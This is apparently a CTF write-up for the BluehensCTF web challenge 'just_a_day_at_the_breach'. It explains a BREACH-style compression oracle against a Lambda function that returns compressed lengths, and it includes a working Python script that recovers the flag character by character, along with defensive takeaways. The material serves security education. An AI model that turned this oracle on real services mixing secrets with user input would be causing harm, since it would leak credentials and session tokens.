BluehensCTF web/just_a_day_at_the_breach
My solution for BluehensCTF web/just_a_day_at_the_breach challenge
Challenge overview
The challenge presents an AWS Lambda function that takes a hex-encoded payload parameter, combines it with a secret flag in a message template, compresses the result using zlib, and returns the compressed length. The goal is to recover the hidden flag by exploiting compression behavior.
Application structure
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
import json
import zlib
def lambda_handler(event, context):
try:
payload = bytes.fromhex(event["queryStringParameters"]["payload"])
flag = os.environ["flag"].encode()
message = b"Your payload is: %b\nThe flag is: %b" % (payload, flag)
compressed_length = len(zlib.compress(message,9))
except ValueError as e:
return {'statusCode': 500, "error": str(e)}
return {
'statusCode': 200,
'body': json.dumps({"sniffed": compressed_length})
}
Identifying the vulnerabilities
This challenge implements a scenario similar to the BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext) attack, first presented at Black Hat USA 2013. The vulnerability exists because:
- The application combines user-controlled input with secret data (the flag)
- The combined message is compressed using zlib DEFLATE
- The compressed length is returned to the user
The key insight is that DEFLATE compression achieves better compression ratios when there are repeated patterns in the input data. If we can guess part of the flag correctly, the compression ratio will improve because there will be more repeatable content.
The BREACH Attack
BREACH is an oracle attack that exploits how compression algorithms like DEFLATE work. The attack follows these principles:
- DEFLATE looks for repeated patterns in the data
- When patterns are found, they can be referenced instead of repeated, reducing size
- The more patterns found, the smaller the compressed output
- We can use this compression behavior as an oracle to guess the secret
For example, if the flag is “udctf{secret}” and we try:
- Payload “test”: No overlap with flag, normal compression
- Payload “udctf”: Overlaps with flag start, better compression
- Payload “wrong”: No overlap, normal compression
By observing which guesses result in better compression, we can iteratively build up the flag character by character.
Crafting the exploit
Here’s the exploit script that implements the attack:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import string
def try_payload(payload_hex):
url = "https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/"
r = requests.get(url, params={"payload": payload_hex})
return r.json()["sniffed"]
def hex_encode(s):
return s.encode().hex()
charset = string.printable
known = "udctf{" # Starting point after flag format
best_len = float('inf')
while "}" not in known:
best_len = float('inf')
best_char = None
for c in charset:
test = known + c
compressed_len = try_payload(hex_encode(test))
if compressed_len < best_len:
best_len = compressed_len
best_char = c
print(f"New best for position {len(known)}: '{c}' with length {compressed_len}")
if best_char:
known += best_char
print(f"Found so far: {known}")
print(f"\nFinal flag: {known}")
The script works by:
- Starting with known flag format “udctf{“
- For each position, trying all printable characters
- Keeping track of which character produces the smallest compressed length
- Adding that character to our known string and continuing
- Repeating until we find the closing brace
The attack works because when we guess a correct character, that character appears twice in the compressed data (once in our payload, once in the flag), allowing for better compression.
Running the script:
1
Flag: udctf{huffm4n_br34ched_l3t5_go}
Conclusion
This challenge demonstrates how compression oracles can leak information even in encrypted communications. While the original BREACH attack targeted HTTP compression in HTTPS responses, the same principles apply to any scenario where attackers can observe compression ratios of secret data combined with controlled input.
The attack is particularly interesting because it shows how a seemingly innocent feature (compression for efficiency) can have security implications when combined with other functionalities. It’s a reminder that security analysis must consider the interaction between different system components, not just individual features in isolation.
Key takeaways
- Disable HTTP compression when sending sensitive data
- Add random padding to responses to mask compression differences
- Implement Cross-Site Request Forgery (CSRF) protections
